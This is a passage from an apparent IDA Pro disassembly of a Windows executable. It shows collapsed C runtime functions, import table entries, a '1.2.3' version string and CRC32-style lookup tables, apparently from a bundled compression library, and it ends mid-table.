___convertcp. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND] ; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_608D9E proc near ; CODE XREF: __global_unwind2+13p jmp ds:dword_609090 sub_608D9E endp _text ends ; Section 2. (virtual address 00009000) ; Virtual size : 000048C6 ( 18630.) ; Section size in file : 000048C6 ( 18630.) ; Offset to raw data for section: 00009000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 609000h dword_609000 dd 77E75CB5h ; DATA XREF: WinMain(x,x,x,x)+15Er ; unknown_libname_1+29r ... dword_609004 dd 77E7980Ah ; DATA XREF: WinMain(x,x,x,x)+F2r ; ___sbh_alloc_new_region+7Er ... dword_609008 dd 77F516F8h ; DATA XREF: WinMain(x,x,x,x)+91r ; __heap_alloc+3Er ... dword_60900C dd 77E77CB7h ; DATA XREF: WinMain(x,x,x,x)+8Ar dword_609010 dd 77E61BB8h ; DATA XREF: WinMain(x,x,x,x)+77r dword_609014 dd 77E7A099h ; DATA XREF: WinMain(x,x,x,x)+57r ; __NMSG_WRITE+81r ... dword_609018 dd 77F51597h ; DATA XREF: _free+30r ; ___sbh_free_block+2B4r ... dword_60901C dd 77E79F93h ; DATA XREF: start+6Dr ; unknown_libname_1+5r dword_609020 dd 77E6177Ah ; DATA XREF: start+160r __ioinit+57r dword_609024 dd 77E7C938h ; DATA XREF: start:loc_60582Ar dword_609028 dd 77E7C657h ; DATA XREF: start+20r dword_60902C dd 77E76E0Bh ; DATA XREF: __heap_init+44r dword_609030 dd 77E7C726h ; DATA XREF: __heap_init+11r dword_609034 dd 77E79E34h ; DATA XREF: ___sbh_free_block+22Fr dword_609038 dd 77F5722Fh ; DATA XREF: ___sbh_alloc_new_region+27r ; _realloc+FDr ... dword_60903C dd 77E7A5FDh ; DATA XREF: unknown_libname_1+15r ; ___crtMessageBoxA+28r dword_609040 dd 77E616B4h ; DATA XREF: _doexit+1Ar dword_609044 dd 77E79C90h ; DATA XREF: _doexit+13r dword_609048 dd 77E79D8Ch ; DATA XREF: __NMSG_WRITE+155r dword_60904C dd 77E79C3Dh ; DATA XREF: __NMSG_WRITE+14Er ; __ioinit+157r dword_609050 dd 77EB9A84h ; DATA XREF: __XcptFilter+167r dword_609054 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+113r dword_609058 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_606E32r dword_60905C dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+C1r dword_609060 dd 77E79924h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_606DCAr ; ___convertcp+139r ... dword_609064 dd 77F5157Dh ; DATA XREF: ___crtGetEnvironmentStringsA:loc_606D8Br ; ___crtGetStringTypeA:loc_607301r ... dword_609068 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+Br dword_60906C dd 77E7C931h ; DATA XREF: __ioinit+19Cr dword_609070 dd 77E78406h ; DATA XREF: __ioinit+FEr ; __ioinit+165r dword_609074 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+19Cr dword_609078 dd 77E77CCEh ; DATA XREF: ___crtGetStringTypeA+98r ; ___crtGetStringTypeA+116r ... dword_60907C dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+24r ; ___crtGetStringTypeA+128r dword_609080 dd 77E7A13Fh ; DATA XREF: __setmbcp+42r dword_609084 dd 77E6C703h ; DATA XREF: __setmbcp+2Br dword_609088 dd 77E7849Fh ; DATA XREF: _setSBUpLow+1Cr ; __setmbcp+93r ... dword_60908C dd 77E805D8h ; DATA XREF: ___crtMessageBoxA+18r dword_609090 dd 77F6183Eh ; DATA XREF: sub_608D9Er dword_609094 dd 77E775F1h ; DATA XREF: __ValidateEH3RN+131r ; __ValidateEH3RN+196r ... dword_609098 dd 77E7F044h ; DATA XREF: __ValidateEH3RN+B3r ; __resetstkoflw+1Ar ... dword_60909C dd 77E7513Ch ; DATA XREF: ___ansicp+20r dword_6090A0 dd 77E6169Ah ; DATA XREF: __resetstkoflw+D5r dword_6090A4 dd 77E7C3A5h ; DATA XREF: __resetstkoflw+2Br dword_6090A8 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+2C3r ; ___crtLCMapStringA+344r ... dword_6090AC dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+27r ; ___crtLCMapStringA+15Br ... dword_6090B0 dd 77F522F2h ; DATA XREF: __msize+30r dword_6090B4 dd 77E802FCh ; DATA XREF: ___security_init_cookie+43r dword_6090B8 dd 77E7751Ah ; DATA XREF: ___security_init_cookie+37r dword_6090BC dd 77E77CC4h ; DATA XREF: ___security_init_cookie+2Fr dword_6090C0 dd 77E80656h ; DATA XREF: ___security_init_cookie+27r dword_6090C4 dd 77E6167Bh ; DATA XREF: ___security_init_cookie+1Br align 10h a1_2_3 db '1.2.3',0 ; DATA XREF: sub_60510C+2Eo align 4 dword_6090D8 dd 0 ; DATA XREF: sub_6013A6+25r ; sub_6013A6+6Br ... dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_6094D8 dd 0 ; DATA XREF: sub_6013A6+55r ; sub_6013A6+86r ... dd 191B3141h, 32366282h, 2B2D53C3h, 646CC504h, 7D77F445h dd 565AA786h, 4F4196C7h, 0C8D98A08h, 0D1C2BB49h, 0FAEFE88Ah dd 0E3F4D9CBh, 0ACB54F0Ch, 0B5AE7E4Dh, 9E832D8Eh, 87981CCFh dd 4AC21251h, 53D92310h, 78F470D3h, 61EF4192h, 2EAED755h dd 37B5E614h, 1C98B5D7h, 5838496h, 821B9859h, 9B00A918h dd 0B02DFADBh, 0A936CB9Ah, 0E6775D5Dh, 0FF6C6C1Ch, 0D4413FDFh dd 0CD5A0E9Eh, 958424A2h, 8C9F15E3h, 0A7B24620h, 0BEA97761h dd 0F1E8E1A6h, 0E8F3D0E7h, 0C3DE8324h, 0DAC5B265h, 5D5DAEAAh dd 44469FEBh, 6F6BCC28h, 7670FD69h, 39316BAEh, 202A5AEFh dd 0B07092Ch, 121C386Dh, 0DF4636F3h, 0C65D07B2h, 0ED705471h dd 0F46B6530h, 0BB2AF3F7h, 0A231C2B6h, 891C9175h, 9007A034h dd 179FBCFBh, 0E848DBAh, 25A9DE79h, 3CB2EF38h, 73F379FFh dd 6AE848BEh, 41C51B7Dh, 58DE2A3Ch, 0F0794F05h, 0E9627E44h dd 0C24F2D87h, 0DB541CC6h, 94158A01h, 8D0EBB40h, 0A623E883h dd 0BF38D9C2h, 38A0C50Dh, 21BBF44Ch, 0A96A78Fh, 138D96CEh dd 5CCC0009h, 45D73148h, 6EFA628Bh, 77E153CAh, 0BABB5D54h dd 0A3A06C15h, 888D3FD6h, 91960E97h, 0DED79850h, 0C7CCA911h dd 0ECE1FAD2h, 0F5FACB93h, 7262D75Ch, 6B79E61Dh, 4054B5DEh dd 594F849Fh, 160E1258h, 0F152319h, 243870DAh, 3D23419Bh dd 65FD6BA7h, 7CE65AE6h, 57CB0925h, 4ED03864h, 191AEA3h dd 188A9FE2h, 33A7CC21h, 2ABCFD60h, 0AD24E1AFh, 0B43FD0EEh dd 9F12832Dh, 8609B26Ch, 0C94824ABh, 0D05315EAh, 0FB7E4629h dd 0E2657768h, 2F3F79F6h, 362448B7h, 1D091B74h, 4122A35h dd 4B53BCF2h, 52488DB3h, 7965DE70h, 607EEF31h, 0E7E6F3FEh dd 0FEFDC2BFh, 0D5D0917Ch, 0CCCBA03Dh, 838A36FAh, 9A9107BBh dd 0B1BC5478h, 0A8A76539h, 3B83984Bh, 2298A90Ah, 9B5FAC9h dd 10AECB88h, 5FEF5D4Fh, 46F46C0Eh, 6DD93FCDh, 74C20E8Ch dd 0F35A1243h, 0EA412302h, 0C16C70C1h, 0D8774180h, 9736D747h dd 8E2DE606h, 0A500B5C5h, 0BC1B8484h, 71418A1Ah, 685ABB5Bh dd 4377E898h, 5A6CD9D9h, 152D4F1Eh, 0C367E5Fh, 271B2D9Ch dd 3E001CDDh, 0B9980012h, 0A0833153h, 8BAE6290h, 92B553D1h dd 0DDF4C516h, 0C4EFF457h, 0EFC2A794h, 0F6D996D5h, 0AE07BCE9h dd 0B71C8DA8h, 9C31DE6Bh, 852AEF2Ah, 0CA6B79EDh, 0D37048ACh dd 0F85D1B6Fh, 0E1462A2Eh, 66DE36E1h, 7FC507A0h, 54E85463h dd 4DF36522h, 2B2F3E5h, 1BA9C2A4h, 30849167h, 299FA026h dd 0E4C5AEB8h, 0FDDE9FF9h, 0D6F3CC3Ah, 0CFE8FD7Bh, 80A96BBCh dd 99B25AFDh, 0B29F093Eh, 0AB84387Fh, 2C1C24B0h, 350715F1h dd 1E2A4632h, 7317773h, 4870E1B4h, 516BD0F5h, 7A468336h dd 635DB277h, 0CBFAD74Eh, 0D2E1E60Fh, 0F9CCB5CCh, 0E0D7848Dh dd 0AF96124Ah, 0B68D230Bh, 9DA070C8h, 84BB4189h, 3235D46h dd 1A386C07h, 31153FC4h, 280E0E85h, 674F9842h, 7E54A903h dd 5579FAC0h, 4C62CB81h, 8138C51Fh, 9823F45Eh, 0B30EA79Dh dd 0AA1596DCh, 0E554001Bh, 0FC4F315Ah, 0D7626299h, 0CE7953D8h dd 49E14F17h, 50FA7E56h, 7BD72D95h, 62CC1CD4h, 2D8D8A13h dd 3496BB52h, 1FBBE891h, 6A0D9D0h, 5E7EF3ECh, 4765C2ADh dd 6C48916Eh, 7553A02Fh, 3A1236E8h, 230907A9h, 824546Ah dd 113F652Bh, 96A779E4h, 8FBC48A5h, 0A4911B66h, 0BD8A2A27h dd 0F2CBBCE0h, 0EBD08DA1h, 0C0FDDE62h, 0D9E6EF23h, 14BCE1BDh dd 0DA7D0FCh, 268A833Fh, 3F91B27Eh, 70D024B9h, 69CB15F8h dd 42E6463Bh, 5BFD777Ah, 0DC656BB5h, 0C57E5AF4h, 0EE530937h dd 0F7483876h, 0B809AEB1h, 0A1129FF0h, 8A3FCC33h, 9324FD72h dword_6098D8 dd 0 ; DATA XREF: sub_6013A6+5Fr ; sub_6013A6+90r ... dd 1C26A37h, 384D46Eh, 246BE59h, 709A8DCh, 6CBC2EBh, 48D7CB2h dd 54F1685h, 0E1351B8h, 0FD13B8Fh, 0D9785D6h, 0C55EFE1h dd 91AF964h, 8D89353h, 0A9E2D0Ah, 0B5C473Dh, 1C26A370h dd 1DE4C947h, 1FA2771Eh, 1E601D29h, 1B2F0BACh, 1AED619Bh dd 18ABDFC2h, 1969B5F5h, 1235F2C8h, 13F798FFh, 11B126A6h dd 10734C91h, 153C5A14h, 14FE3023h, 16B88E7Ah, 177AE44Dh dd 384D46E0h, 398F2CD7h, 3BC9928Eh, 3A0BF8B9h, 3F44EE3Ch dd 3E86840Bh, 3CC03A52h, 3D025065h, 365E1758h, 379C7D6Fh dd 35DAC336h, 3418A901h, 3157BF84h, 3095D5B3h, 32D36BEAh dd 331101DDh, 246BE590h, 25A98FA7h, 27EF31FEh, 262D5BC9h dd 23624D4Ch, 22A0277Bh, 20E69922h, 2124F315h, 2A78B428h dd 2BBADE1Fh, 29FC6046h, 283E0A71h, 2D711CF4h, 2CB376C3h dd 2EF5C89Ah, 2F37A2ADh, 709A8DC0h, 7158E7F7h, 731E59AEh dd 72DC3399h, 7793251Ch, 76514F2Bh, 7417F172h, 75D59B45h dd 7E89DC78h, 7F4BB64Fh, 7D0D0816h, 7CCF6221h, 798074A4h dd 78421E93h, 7A04A0CAh, 7BC6CAFDh, 6CBC2EB0h, 6D7E4487h dd 6F38FADEh, 6EFA90E9h, 6BB5866Ch, 6A77EC5Bh, 68315202h dd 69F33835h, 62AF7F08h, 636D153Fh, 612BAB66h, 60E9C151h dd 65A6D7D4h, 6464BDE3h, 662203BAh, 67E0698Dh, 48D7CB20h dd 4915A117h, 4B531F4Eh, 4A917579h, 4FDE63FCh, 4E1C09CBh dd 4C5AB792h, 4D98DDA5h, 46C49A98h, 4706F0AFh, 45404EF6h dd 448224C1h, 41CD3244h, 400F5873h, 4249E62Ah, 438B8C1Dh dd 54F16850h, 55330267h, 5775BC3Eh, 56B7D609h, 53F8C08Ch dd 523AAABBh, 507C14E2h, 51BE7ED5h, 5AE239E8h, 5B2053DFh dd 5966ED86h, 58A487B1h, 5DEB9134h, 5C29FB03h, 5E6F455Ah dd 5FAD2F6Dh, 0E1351B80h, 0E0F771B7h, 0E2B1CFEEh, 0E373A5D9h dd 0E63CB35Ch, 0E7FED96Bh, 0E5B86732h, 0E47A0D05h, 0EF264A38h dd 0EEE4200Fh, 0ECA29E56h, 0ED60F461h, 0E82FE2E4h, 0E9ED88D3h dd 0EBAB368Ah, 0EA695CBDh, 0FD13B8F0h, 0FCD1D2C7h, 0FE976C9Eh dd 0FF5506A9h, 0FA1A102Ch, 0FBD87A1Bh, 0F99EC442h, 0F85CAE75h dd 0F300E948h, 0F2C2837Fh, 0F0843D26h, 0F1465711h, 0F4094194h dd 0F5CB2BA3h, 0F78D95FAh, 0F64FFFCDh, 0D9785D60h, 0D8BA3757h dd 0DAFC890Eh, 0DB3EE339h, 0DE71F5BCh, 0DFB39F8Bh, 0DDF521D2h dd 0DC374BE5h, 0D76B0CD8h, 0D6A966EFh, 0D4EFD8B6h, 0D52DB281h dd 0D062A404h, 0D1A0CE33h, 0D3E6706Ah, 0D2241A5Dh, 0C55EFE10h dd 0C49C9427h, 0C6DA2A7Eh, 0C7184049h, 0C25756CCh, 0C3953CFBh dd 0C1D382A2h, 0C011E895h, 0CB4DAFA8h, 0CA8FC59Fh, 0C8C97BC6h dd 0C90B11F1h, 0CC440774h, 0CD866D43h, 0CFC0D31Ah, 0CE02B92Dh dd 91AF9640h, 906DFC77h, 922B422Eh, 93E92819h, 96A63E9Ch dd 976454ABh, 9522EAF2h, 94E080C5h, 9FBCC7F8h, 9E7EADCFh dd 9C381396h, 9DFA79A1h, 98B56F24h, 99770513h, 9B31BB4Ah dd 9AF3D17Dh, 8D893530h, 8C4B5F07h, 8E0DE15Eh, 8FCF8B69h dd 8A809DECh, 8B42F7DBh, 89044982h, 88C623B5h, 839A6488h dd 82580EBFh, 801EB0E6h, 81DCDAD1h, 8493CC54h, 8551A663h dd 8717183Ah, 86D5720Dh, 0A9E2D0A0h, 0A820BA97h, 0AA6604CEh dd 0ABA46EF9h, 0AEEB787Ch, 0AF29124Bh, 0AD6FAC12h, 0ACADC625h dd 0A7F18118h, 0A633EB2Fh, 0A4755576h, 0A5B73F41h, 0A0F829C4h dd 0A13A43F3h, 0A37CFDAAh, 0A2BE979Dh, 0B5C473D0h, 0B40619E7h dd 0B640A7BEh, 0B782CD89h, 0B2CDDB0Ch, 0B30FB13Bh, 0B1490F62h dd 0B08B6555h, 0BBD72268h, 0BA15485Fh, 0B853F606h, 0B9919C31h dd 0BCDE8AB4h, 0BD1CE083h, 0BF5A5EDAh, 0BE9834EDh dword_609CD8 dd 0 ; DATA XREF: sub_6013A6+74r ; sub_6013A6+A5r ... dd 0B8BC6765h, 0AA09C88Bh, 12B5AFEEh, 8F629757h, 37DEF032h dd 256B5FDCh, 9DD738B9h, 0C5B428EFh, 7D084F8Ah, 6FBDE064h dd 0D7018701h, 4AD6BFB8h, 0F26AD8DDh, 0E0DF7733h, 58631056h dd 5019579Fh, 0E8A530FAh, 0FA109F14h, 42ACF871h, 0DF7BC0C8h dd 67C7A7ADh, 75720843h, 0CDCE6F26h, 95AD7F70h, 2D111815h dd 3FA4B7FBh, 8718D09Eh, 1ACFE827h, 0A2738F42h, 0B0C620ACh dd 87A47C9h, 0A032AF3Eh, 188EC85Bh, 0A3B67B5h, 0B28700D0h dd 2F503869h, 97EC5F0Ch, 8559F0E2h, 3DE59787h, 658687D1h dd 0DD3AE0B4h, 0CF8F4F5Ah, 7733283Fh, 0EAE41086h, 525877E3h dd 40EDD80Dh, 0F851BF68h, 0F02BF8A1h, 48979FC4h, 5A22302Ah dd 0E29E574Fh, 7F496FF6h, 0C7F50893h, 0D540A77Dh, 6DFCC018h dd 359FD04Eh, 8D23B72Bh, 9F9618C5h, 272A7FA0h, 0BAFD4719h dd 241207Ch, 10F48F92h, 0A848E8F7h, 9B14583Dh, 23A83F58h dd 311D90B6h, 89A1F7D3h, 1476CF6Ah, 0ACCAA80Fh, 0BE7F07E1h dd 6C36084h, 5EA070D2h, 0E61C17B7h, 0F4A9B859h, 4C15DF3Ch dd 0D1C2E785h, 697E80E0h, 7BCB2F0Eh, 0C377486Bh, 0CB0D0FA2h dd 73B168C7h, 6104C729h, 0D9B8A04Ch, 446F98F5h, 0FCD3FF90h dd 0EE66507Eh, 56DA371Bh, 0EB9274Dh, 0B6054028h, 0A4B0EFC6h dd 1C0C88A3h, 81DBB01Ah, 3967D77Fh, 2BD27891h, 936E1FF4h dd 3B26F703h, 839A9066h, 912F3F88h, 299358EDh, 0B4446054h dd 0CF80731h, 1E4DA8DFh, 0A6F1CFBAh, 0FE92DFECh, 462EB889h dd 549B1767h, 0EC277002h, 71F048BBh, 0C94C2FDEh, 0DBF98030h dd 6345E755h, 6B3FA09Ch, 0D383C7F9h, 0C1366817h, 798A0F72h dd 0E45D37CBh, 5CE150AEh, 4E54FF40h, 0F6E89825h, 0AE8B8873h dd 1637EF16h, 48240F8h, 0BC3E279Dh, 21E91F24h, 99557841h dd 8BE0D7AFh, 335CB0CAh, 0ED59B63Bh, 55E5D15Eh, 47507EB0h dd 0FFEC19D5h, 623B216Ch, 0DA874609h, 0C832E9E7h, 708E8E82h dd 28ED9ED4h, 9051F9B1h, 82E4565Fh, 3A58313Ah, 0A78F0983h dd 1F336EE6h, 0D86C108h, 0B53AA66Dh, 0BD40E1A4h, 5FC86C1h dd 1749292Fh, 0AFF54E4Ah, 322276F3h, 8A9E1196h, 982BBE78h dd 2097D91Dh, 78F4C94Bh, 0C048AE2Eh, 0D2FD01C0h, 6A4166A5h dd 0F7965E1Ch, 4F2A3979h, 5D9F9697h, 0E523F1F2h, 4D6B1905h dd 0F5D77E60h, 0E762D18Eh, 5FDEB6EBh, 0C2098E52h, 7AB5E937h dd 680046D9h, 0D0BC21BCh, 88DF31EAh, 3063568Fh, 22D6F961h dd 9A6A9E04h, 7BDA6BDh, 0BF01C1D8h, 0ADB46E36h, 15080953h dd 1D724E9Ah, 0A5CE29FFh, 0B77B8611h, 0FC7E174h, 9210D9CDh dd 2AACBEA8h, 38191146h, 80A57623h, 0D8C66675h, 607A0110h dd 72CFAEFEh, 0CA73C99Bh, 57A4F122h, 0EF189647h, 0FDAD39A9h dd 45115ECCh, 764DEE06h, 0CEF18963h, 0DC44268Dh, 64F841E8h dd 0F92F7951h, 41931E34h, 5326B1DAh, 0EB9AD6BFh, 0B3F9C6E9h dd 0B45A18Ch, 19F00E62h, 0A14C6907h, 3C9B51BEh, 842736DBh dd 96929935h, 2E2EFE50h, 2654B999h, 9EE8DEFCh, 8C5D7112h dd 34E11677h, 0A9362ECEh, 118A49ABh, 33FE645h, 0BB838120h dd 0E3E09176h, 5B5CF613h, 49E959FDh, 0F1553E98h, 6C820621h dd 0D43E6144h, 0C68BCEAAh, 7E37A9CFh, 0D67F4138h, 6EC3265Dh dd 7C7689B3h, 0C4CAEED6h, 591DD66Fh, 0E1A1B10Ah, 0F3141EE4h dd 4BA87981h, 13CB69D7h, 0AB770EB2h, 0B9C2A15Ch, 17EC639h dd 9CA9FE80h, 241599E5h, 36A0360Bh, 8E1C516Eh, 866616A7h dd 3EDA71C2h, 2C6FDE2Ch, 94D3B949h, 90481F0h, 0B1B8E695h dd 0A30D497Bh, 1BB12E1Eh, 43D23E48h, 0FB6E592Dh, 0E9DBF6C3h dd 516791A6h, 0CCB0A91Fh, 740CCE7Ah, 66B96194h, 0DE0506F1h dd 0 dd 96300777h, 2C610EEEh, 0BA510999h, 19C46D07h, 8FF46A70h dd 35A563E9h, 0A395649Eh, 3288DB0Eh, 0A4B8DC79h, 1EE9D5E0h dd 88D9D297h, 2B4CB609h, 0BD7CB17Eh, 72DB8E7h, 911DBF90h dd 6410B71Dh, 0F220B06Ah, 4871B9F3h, 0DE41BE84h, 7DD4DA1Ah dd 0EBE4DD6Dh, 51B5D4F4h, 0C785D383h, 56986C13h, 0C0A86B64h dd 7AF962FDh, 0ECC9658Ah, 4F5C0114h, 0D96C0663h, 633D0FFAh dd 0F50D088Dh, 0C8206E3Bh, 5E10694Ch, 0E44160D5h, 727167A2h dd 0D1E4033Ch, 47D4044Bh, 0FD850DD2h, 6BB50AA5h, 0FAA8B535h dd 6C98B242h, 0D6C9BBDBh, 40F9BCACh, 0E36CD832h, 755CDF45h dd 0CF0DD6DCh, 593DD1ABh, 0AC30D926h, 3A00DE51h, 8051D7C8h dd 1661D0BFh, 0B5F4B421h, 23C4B356h, 9995BACFh, 0FA5BDB8h dd 9EB80228h, 888055Fh, 0B2D90CC6h, 24E90BB1h, 877C6F2Fh dd 114C6858h, 0AB1D61C1h, 3D2D66B6h, 9041DC76h, 671DB01h dd 0BC20D298h, 2A10D5EFh, 8985B171h, 1FB5B606h, 0A5E4BF9Fh dd 33D4B8E8h, 0A2C90778h, 34F9000Fh, 8EA80996h, 18980EE1h dd 0BB0D6A7Fh, 2D3D6D08h, 976C6491h, 15C63E6h, 0F4516B6Bh dd 62616C1Ch, 0D8306585h, 4E0062F2h, 0ED95066Ch, 7BA5011Bh dd 0C1F40882h, 57C40FF5h, 0C6D9B065h, 50E9B712h, 0EAB8BE8Bh dd 7C88B9FCh, 0DF1DDD62h, 492DDA15h, 0F37CD38Ch, 654CD4FBh dd 5861B24Dh, 0CE51B53Ah, 7400BCA3h, 0E230BBD4h, 41A5DF4Ah dd 0D795D83Dh, 6DC4D1A4h, 0FBF4D6D3h, 6AE96943h, 0FCD96E34h dd 468867ADh, 0D0B860DAh, 732D0444h, 0E51D0333h, 5F4C0AAAh dd 0C97C0DDDh, 3C710550h, 0AA410227h, 10100BBEh, 86200CC9h dd 25B56857h, 0B3856F20h, 9D466B9h, 9FE461CEh, 0EF9DE5Eh dd 98C9D929h, 2298D0B0h, 0B4A8D7C7h, 173DB359h, 810DB42Eh dd 3B5CBDB7h, 0AD6CBAC0h, 2083B8EDh, 0B6B3BF9Ah, 0CE2B603h dd 9AD2B174h, 3947D5EAh, 0AF77D29Dh, 1526DB04h, 8316DC73h dd 120B63E3h, 843B6494h, 3E6A6D0Dh, 0A85A6A7Ah, 0BCF0EE4h dd 9DFF0993h, 27AE000Ah, 0B19E077Dh, 44930FF0h, 0D2A30887h dd 68F2011Eh, 0FEC20669h, 5D5762F7h, 0CB676580h, 71366C19h dd 0E7066B6Eh, 761BD4FEh, 0E02BD389h, 5A7ADA10h, 0CC4ADD67h dd 6FDFB9F9h, 0F9EFBE8Eh, 43BEB717h, 0D58EB060h, 0E8A3D6D6h dd 7E93D1A1h, 0C4C2D838h, 52F2DF4Fh, 0F167BBD1h, 6757BCA6h dd 0DD06B53Fh, 4B36B248h, 0DA2B0DD8h, 4C1B0AAFh, 0F64A0336h dd 607A0441h, 0C3EF60DFh, 55DF67A8h, 0EF8E6E31h, 79BE6946h dd 8CB361CBh, 1A8366BCh, 0A0D26F25h, 36E26852h, 95770CCCh dd 3470BBBh, 0B9160222h, 2F260555h, 0BE3BBAC5h, 280BBDB2h dd 925AB42Bh, 46AB35Ch, 0A7FFD7C2h, 31CFD0B5h, 8B9ED92Ch dd 1DAEDE5Bh, 0B0C2649Bh, 26F263ECh, 9CA36A75h, 0A936D02h dd 0A906099Ch, 3F360EEBh, 85670772h, 13570005h, 824ABF95h dd 147AB8E2h, 0AE2BB17Bh, 381BB60Ch, 9B8ED292h, 0DBED5E5h dd 0B7EFDC7Ch, 21DFDB0Bh, 0D4D2D386h, 42E2D4F1h, 0F8B3DD68h dd 6E83DA1Fh, 0CD16BE81h, 5B26B9F6h, 0E177B06Fh, 7747B718h dd 0E65A0888h, 706A0FFFh, 0CA3B0666h, 5C0B0111h, 0FF9E658Fh dd 69AE62F8h, 0D3FF6B61h, 45CF6C16h, 78E20AA0h, 0EED20DD7h dd 5483044Eh, 0C2B30339h, 